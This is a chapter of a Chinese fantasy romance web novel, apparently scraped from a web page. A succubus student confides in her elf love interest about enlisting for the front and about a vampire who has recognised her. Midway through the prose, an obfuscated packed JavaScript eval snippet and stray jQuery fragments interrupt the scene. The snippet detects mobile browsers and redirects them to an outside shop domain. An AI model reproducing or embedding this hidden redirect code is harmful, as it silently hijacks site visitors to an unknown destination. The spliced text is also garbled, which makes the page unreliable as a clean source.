窗前那张宽大的书桌旁,塞维尔坐在一侧,银白色的长发垂落在肩侧,手里端着一杯红茶,表情平静而温和。
而他对面,坐着一个女人。
灰色的长发,琥珀色的眼眸,精致的五官带着一种成熟而优雅的美。她穿着一件剪裁考究的深蓝色长袍,领口别着一枚翠绿色的徽章,整个人散发着一种让人不敢轻易靠近的气场。
翠歌分院的院长,塞西莉娅。
安娜记得她。开学典礼上,她作为分院院长上台致辞过。
她的声音温柔而有力,目光扫过全场的时候,安娜觉得她好像在自己身上多停留了一秒,也许是错觉,但此刻,那种被审视的感觉又回来了。
塞西莉娅正端着茶杯,听到门响,微微偏过头来。
琥珀色的眼眸落在安娜身上,睫毛轻轻扇动了一下,嘴角慢慢弯起一个意味深长的弧度。
“哦?”她的声音带着一丝玩味,“这位是……你的那位小魅魔?”
安娜的血液瞬间涌上了脸颊。
她站在门口,进也不是,退也不是。
手指攥着门框,指节泛白,脸红得像是被火烧过,从耳尖一路蔓延到脖颈。
“塞西莉娅。”塞维尔的声音响了起来,带着一丝警告的意味。
他放下了茶杯,站起身,苍青色的眼眸看向门口的安娜。
他的表情依然平静,但安娜注意到他的眉头微微动了一下。
塞西莉娅没有被那声警告吓住。她反而笑了,笑容优雅而得体,像一个发现了有趣秘密的旁观者。
她放下茶杯,双手交叠放在膝上,歪着头打量着安娜,像是在欣赏一幅画。
“别紧张,孩子。”她的声音温和了许多,“我和塞维尔是老朋友了。他跟我提过你。”
安娜的脑子“嗡”了一声。
他跟别人提过她?
他跟她说了什么?说了多少?说了她是魅魔吗?说了他们在谈恋爱吗?说了……说了那天晚上的事情吗?
安娜觉得自己快要原地蒸发了。
“塞西莉娅。”塞维尔又开口了,这次声音更低了一些,带着一种“到此为止”的意味。
塞西莉娅举起双手,做了一个“我不说了”的手势,但那双琥珀色的眼睛里依然盛满了笑意。
她站起身,拿起桌上的茶杯和托盘,朝安娜走了两步。
安娜本能地后退了半步,后背撞上了门框。
塞西莉娅在她面前停下来,低头看着她……她比安娜高半个头,这个角度让安娜觉得自己像一只被猫盯上的小老鼠。
“你的眼光不错。”塞西莉娅轻声说,琥珀色的眼眸眨了眨,“他虽然看起来冷冰冰的,但其实……”
“塞西莉娅。”塞维尔的声音从身后传来,这次带了一丝无奈,“你该离开了。”
塞西莉娅轻笑一声,侧身从安娜旁边走过。经过她身边的时候,安娜闻到了一股淡淡的、像鸢尾花一样的香气。
“我先走了。”塞西莉娅头也不回地说,“你们聊。”
她走到门口,忽然停下来,偏过头来,琥珀色的眼眸在安娜脸上停留了一瞬。
“对了,小魅魔,”她的声音轻得像一阵风,“你的尾巴露出来了。”
然后她走了,门在她身后轻轻关上。
安娜猛地侧身,裙子后面,那条细长的、末端呈心形的尾巴正大摇大摆地垂在外面,尾尖还微微晃了两下,像是在跟塞西莉娅告别。
安娜的脸彻底红透了。
她飞快地把尾巴塞回去,动作粗暴得像是要把那条不听话的东西从身上扯下来。
“她……她知道?”安娜的声音小得像蚊子叫。
塞维尔走过来,在她面前站定。苍青色的眼眸低垂着,看着她通红的脸和慌乱的眼睛,嘴角微微弯了一下。
“她一直知道。”他说,声音很轻,“她是翠歌分院的院长,也是精灵族的长老。你入学第一天,她就看出来你是魅魔了。”
安娜张了张嘴,觉得自己像是被剥光了衣服站在大庭广众之下。
她一直以为自己的伪装天衣无缝,隔绝气息的法袍、藏好的尾巴……结果呢?塞维尔第一天就知道了,塞西莉娅第一天就知道了。
“她不会说出去的。”
塞维尔像是看穿了她的心思,伸手轻轻摸了摸她的头顶。那个动作很轻很轻,像是安抚一只炸毛的小猫,“精灵族的规矩,不干涉其他种族的内部事务。她只是……好奇。”
“好奇什么?”
塞维尔沉默了一秒。
“好奇我为什么会……”他没有说完,而是收回了手,垂下眼睛,睫毛在眼下投下一小片阴影,“算了。不重要。”
安娜抬起头,看着他的侧脸。
夕阳从窗户涌进来,将他的轮廓镀上了一层温暖的金色。他的表情依然平静,但安娜总觉得他的耳朵尖好像有一点点红。
只是一点点。也许是夕阳的缘故。
“塞维尔。”安娜开口,声音比她自己预想的要稳,“我有事要跟你说。”
塞维尔转过头来,苍青色的眼眸落在她脸上。
“怎么了?”
安娜深吸一口气。
“我报名了。”她说,“去前线的那个。我今天去教务处填了表。”
塞维尔的表情没有变。但安娜注意到,他的手微微动了一下,像是想抬起来,又压了下去。
“还有,”安娜咬了咬嘴唇,把后半句也说了出来,“我在教务处门口遇到了那个血族,海银。他认出我了。他知道我是魅魔。”
阅览室里安静了几秒。
窗外的夕阳又沉了一分,将整片天空染成了浓郁的橘红色。
塞维尔看着她,苍青色的眼眸深处有什么东西在缓慢地翻涌,像冰面下的暗流,表面平静,底下却是滚烫的、汹涌的。
“海银。”他重复了一遍这个名字,声音比平时低了一些,“他对你说了什么?”
安娜把走廊里的对话一五一十地说了出来:“你是魅魔吗”“你身上有魅魔的味道”“情潮期刚过”“血蛋糕”“我对你很感兴趣”……
她说到“血蛋糕”的时候,塞维尔的眉头皱了一下。她说到“我对你很感兴趣”的时候,他的手指微微蜷缩了一下。
“他还说他也报名了。”安娜说完,抬起头看着塞维尔,“塞维尔,我……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610997|205461||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“你为什么要报名?”塞维尔打断了她,声音不大,但很认真。
安娜张了张嘴,把之前在食堂里想的那套说辞搬了出来:“学以致用,把书本上的魔咒运用到实战中……”
“安娜。”塞维尔又叫了一声她的名字,声音放得很轻很轻,“说实话。”
安娜沉默了。
她低下头,盯着自己的鞋尖。
“我担心我哥哥和嫂子。”她的声音闷闷的,“沙城离北边不远。如果深渊魔物继续往南推进……”
“所以你想去前线,不是为了学以致用,不是为了报酬。”塞维尔的声音平静得像一面湖水,“你是想去确认他们是否安全。”
“都有吧……”安娜没有否认。
塞维尔沉默了片刻。
然后他伸出手,修长的手指轻轻握住了她的手腕,他的指尖微凉,力道很轻,像是怕捏碎什么易碎的东西。
“他们不会有事的。”他说,声音很低很低,“你也不会有事的。”
安娜抬起头,看着他。
苍青色的眼眸里映着她的脸,小小的,红红的,眼眶还有点泛酸。
“可是海银……”
“海银的事,我来处理。”塞维尔的声音恢复了一种平稳的、让人安心的笃定,“至于前线……”
他顿了一下。
“我会陪你一起去。”
安娜愣住了。
“教廷的征召不限于学生。”塞维尔松开了她的手腕,声音恢复了那种公事公办的平淡,“精灵王庭已经收到了相关文件。我原本就在名单上。”
安娜瞪大了眼睛。
塞维尔看着她的表情,嘴角终于弯了一下,那个弧度很浅,浅到几乎看不出来。
但安娜看到了。
“你以为我会让你一个人去那种地方?”他说,声音轻得像一声叹息,“安娜。我担心自己在那种地方没有办法保护好你。”
安娜:“我可以自己保护好自己的。”
塞维尔失笑,他的苍青色眼眸直直地望着她。
“好吧,别担心,我会一直在。”
安娜站在那里,看着他,觉得自己的眼眶越来越酸,鼻子越来越堵,心脏跳得又快又重,像要从胸腔里蹦出来。
她想说“谢谢”,想说“你不用”,想说很多很多话。但最后从她嘴里说出来的只有三个字:
“你真好。”
塞维尔愣了一下。
“嗯。”他说,声音里带着一丝她从未听过的柔软,“谢谢,我知道。”
安娜忍不住也笑了一下。
窗外的夜色完全落了下来,远处钟楼的灯光亮了起来,橘黄色的,小小的,像一颗温暖的星。
安娜站在阅览室里,站在他的目光里,觉得这个世界虽然有很多可怕的东西,什么深渊魔物、魔王信徒、识破她身份的血族,但只要他在,好像一切都没那么可怕了。
“塞维尔。”
“嗯。”
“明天见。”
塞维尔看了她一眼,苍青色的眼眸在昏暗的光线中温柔得不像话。
“明天见。”他说。
一个一触即分的吻落在了安娜的额头。